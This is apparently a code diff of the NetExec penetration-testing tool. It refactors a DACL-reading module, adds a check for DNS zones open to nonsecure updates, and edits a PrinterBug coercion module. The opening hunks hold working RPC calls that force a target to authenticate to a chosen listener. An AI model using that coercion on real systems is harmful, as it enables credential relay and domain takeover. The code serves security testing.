||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
|
||||
raise e
|
||||
try:
|
||||
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
self.context.log.debug(
|
||||
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
|
||||
)
|
||||
return endpoint
|
||||
except Exception as e:
|
||||
self.context.log.debug(
|
||||
"Failed to resolve dynamic endpoint %s"
|
||||
% repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
raise e
|
||||
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"spoolss": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]",
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": 445
|
||||
},
|
||||
"[dcerpc]": {
|
||||
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": None
|
||||
}
|
||||
}
|
||||
if pipe == "[dcerpc]":
|
||||
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
if binding_params[pipe]["port"] is not None:
|
||||
rpctransport.set_dport(binding_params[pipe]["port"])
|
||||
@@ -835,7 +823,7 @@ class PrinterBugTrigger:
|
||||
|
||||
def exploit(self, dce, listener, target, always_continue, pipe):
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
@@ -853,7 +841,7 @@ class PrinterBugTrigger:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
||||
request["fdwOptions"] = 0x00000000
|
||||
request["dwPrinterLocal"] = 0
|
||||
dce.request(request)
|
||||
@@ -885,7 +873,7 @@ class PrinterBugTrigger:
|
||||
request = RpcRemoteFindFirstPrinterChangeNotification()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
||||
request["fdwOptions"] = 0x00000000
|
||||
request["dwPrinterLocal"] = 0
|
||||
request["cbBuffer"] = NULL
|
||||
@@ -908,7 +896,7 @@ class MSEvenTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"eventlog": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\eventlog]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]",
|
||||
"MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"),
|
||||
},
|
||||
}
|
||||
@@ -1096,7 +1084,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("Length", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
|
||||
+123
-193
@@ -1,16 +1,17 @@
|
||||
import binascii
|
||||
import codecs
|
||||
import json
|
||||
import re
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
@@ -188,27 +189,40 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={target})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={target})"
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
It could be interesting to implement the write/remove functions here.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
# Initialize module variables
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
self.action = "read"
|
||||
self.ace_type = "allowed"
|
||||
self.rights = None
|
||||
self.rights_guid = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
@@ -227,213 +241,134 @@ class NXCModule:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
self.targets = []
|
||||
self.target_SID = None
|
||||
if module_options and "TARGET_DN" in module_options:
|
||||
self.target_DN = module_options["TARGET_DN"]
|
||||
self.target_sAMAccountName = None
|
||||
self.target_file = None
|
||||
|
||||
if module_options and "PRINCIPAL" in module_options:
|
||||
for option in "TARGET", "TARGET_DN":
|
||||
if option in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
with open(module_options[option]) as target_file:
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Adding target: {module_options[option]}")
|
||||
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
|
||||
|
||||
if not self.targets:
|
||||
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
|
||||
sys.exit(1)
|
||||
|
||||
if "PRINCIPAL" in module_options:
|
||||
self.principal_sAMAccountName = module_options["PRINCIPAL"]
|
||||
else:
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
|
||||
if module_options and "ACTION" in module_options:
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
self.action = "read"
|
||||
if module_options and "ACE_TYPE" in module_options:
|
||||
|
||||
if "ACE_TYPE" in module_options:
|
||||
self.ace_type = module_options["ACE_TYPE"]
|
||||
else:
|
||||
self.ace_type = "allowed"
|
||||
if module_options and "RIGHTS" in module_options:
|
||||
|
||||
if "RIGHTS" in module_options:
|
||||
self.rights = module_options["RIGHTS"]
|
||||
else:
|
||||
self.rights = None
|
||||
if module_options and "RIGHTS_GUID" in module_options:
|
||||
|
||||
if "RIGHTS_GUID" in module_options:
|
||||
self.rights_guid = module_options["RIGHTS_GUID"]
|
||||
else:
|
||||
self.rights_guid = None
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
_lookedup_principal = self.principal_sAMAccountName
|
||||
try:
|
||||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["objectSid"],
|
||||
)[0][1][0][1][0]
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
self.principal_sid = resp_parsed["objectSid"]
|
||||
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
|
||||
except Exception:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
for target, search_filter in self.targets:
|
||||
try:
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Searching for target account with its security descriptor
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
sys.exit(1)
|
||||
target_principal_dn = resp_parsed["distinguishedName"]
|
||||
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Target SID not found in LDAP ({target})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
self.read(principal_security_descriptor)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# If there are multiple targets
|
||||
else:
|
||||
targets = self.target_file.readlines()
|
||||
for target in targets:
|
||||
try:
|
||||
self.target_sAMAccountName = target.strip()
|
||||
# Searching for target account with its security descriptor
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
|
||||
|
||||
# Main read funtion
|
||||
# Prints the parsed DACL
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
def read(self, principal_security_descriptor):
|
||||
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(parsed_dacl)
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
def backup(self, context):
|
||||
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
|
||||
backup = {}
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
with codecs.open(self.filename, "w", "latin-1") as outfile:
|
||||
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(target_principal_dn)
|
||||
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
filename = f"dacledit-{timestamp}-{target}.bak"
|
||||
with open(filename, "w", encoding="latin-1") as outfile:
|
||||
json.dump(backup, outfile)
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
self.context.log.highlight(f"DACL backed up to {filename}")
|
||||
|
||||
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
|
||||
def search_target_principal_security_descriptor(self, context, connection):
|
||||
_lookedup_principal = ""
|
||||
# Set SD flags to only query for DACL
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
if self.target_sAMAccountName is not None:
|
||||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=_lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception:
|
||||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception:
|
||||
context.log.fail(f"User not found in LDAP: {samname}")
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
# - sid : the SID to resolve
|
||||
def resolveSID(self, context, sid):
|
||||
def resolveSID(self, sid):
|
||||
"""Resolves a SID to its corresponding sAMAccountName."""
|
||||
# Tries to resolve the SID from the well known SIDs
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
return WELL_KNOWN_SIDS[sid]
|
||||
|
||||
# Tries to resolve the SID from the LDAP domain dump
|
||||
else:
|
||||
try:
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][0]
|
||||
return self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][1][0][1][0]
|
||||
except Exception:
|
||||
context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
try:
|
||||
resp = self.connection.search(
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
return parse_result_attributes(resp)[0]["sAMAccountName"]
|
||||
except Exception:
|
||||
self.context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
# - dacl : the DACL to parse, submitted in a Security Desciptor format
|
||||
def parse_dacl(self, context, dacl):
|
||||
def parse_dacl(self, dacl):
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
i = 0
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_ace = self.parse_ace(ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
i += 1
|
||||
return parsed_dacl
|
||||
|
||||
# Parses an access mask to extract the different values from a simple permission
|
||||
@@ -447,7 +382,7 @@ class NXCModule:
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
def parse_ace(self, context, ace):
|
||||
def parse_ace(self, ace):
|
||||
# For the moment, only the Allowed and Denied Access ACE are supported
|
||||
if ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_ACE",
|
||||
@@ -462,7 +397,7 @@ class NXCModule:
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
|
||||
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
parsed_ace = {
|
||||
"Access mask": access_mask,
|
||||
"Trustee (SID)": trustee_sid
|
||||
@@ -489,12 +424,9 @@ class NXCModule:
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
@@ -503,19 +435,18 @@ class NXCModule:
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
def print_parsed_dacl(self, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
i = 0
|
||||
self.context.log.debug("Printing parsed DACL")
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
# If an ACE type has been specified, only the ACE with this type will be specified
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
for i, parsed_ace in enumerate(parsed_dacl):
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
@@ -529,7 +460,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -537,7 +468,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -545,13 +476,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -559,18 +490,17 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.context.log.highlight(f"ACE[{i}] info")
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
i += 1
|
||||
|
||||
# Prints properly a parsed ACE
|
||||
# - parsed_ace : a parsed ACE from parse_ace()
|
||||
def print_parsed_ace(self, parsed_ace):
|
||||
elements_name = list(parsed_ace.keys())
|
||||
for attribute in elements_name:
|
||||
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
|
||||
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
|
||||
|
||||
# Retrieves the GUIDs for the specified rights
|
||||
def build_guids_for_rights(self):
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -17,4 +19,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,68 @@
|
||||
from impacket.structure import Structure
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @MaxToffy"""
|
||||
name = "dns-nonsecure"
|
||||
description = "Detects DNS zones that allow nonsecure dynamic updates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_bases = {
|
||||
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
|
||||
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
|
||||
}
|
||||
|
||||
for dns_type, search_base in search_bases.items():
|
||||
# Search for domain DNS zones
|
||||
resp = connection.search(
|
||||
searchFilter="(objectClass=dnsZone)",
|
||||
attributes=["name", "dNSProperty"],
|
||||
baseDN=search_base,
|
||||
)
|
||||
zones = parse_result_attributes(resp)
|
||||
|
||||
# Get dynamic updates configuration for each zones
|
||||
allows_nonsecure_updates = []
|
||||
for zone in zones:
|
||||
for prop in zone["dNSProperty"]:
|
||||
dns_properties = DNS_PROPERTY(prop)
|
||||
|
||||
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
|
||||
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
|
||||
allows_nonsecure_updates.append(zone["name"])
|
||||
|
||||
if allows_nonsecure_updates:
|
||||
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
|
||||
for zone in allows_nonsecure_updates:
|
||||
context.log.highlight(zone)
|
||||
else:
|
||||
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1 - dnsProperty
|
||||
class DNS_PROPERTY(Structure):
|
||||
structure = (
|
||||
("DataLength", "<L-Data"),
|
||||
("NameLength", "<L"),
|
||||
("Flag", "<L"),
|
||||
("Version", "<L"),
|
||||
("Id", "<L"),
|
||||
("Data", ":"),
|
||||
("Name", "1s"),
|
||||
)
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1.1 - Property Id
|
||||
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
|
||||
|
||||
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
|
||||
ZONE_UPDATE_OFF = 0x00000000
|
||||
ZONE_UPDATE_UNSECURE = 0x00000001
|
||||
ZONE_UPDATE_SECURE = 0x00000002
|
||||
@@ -1,16 +1,13 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
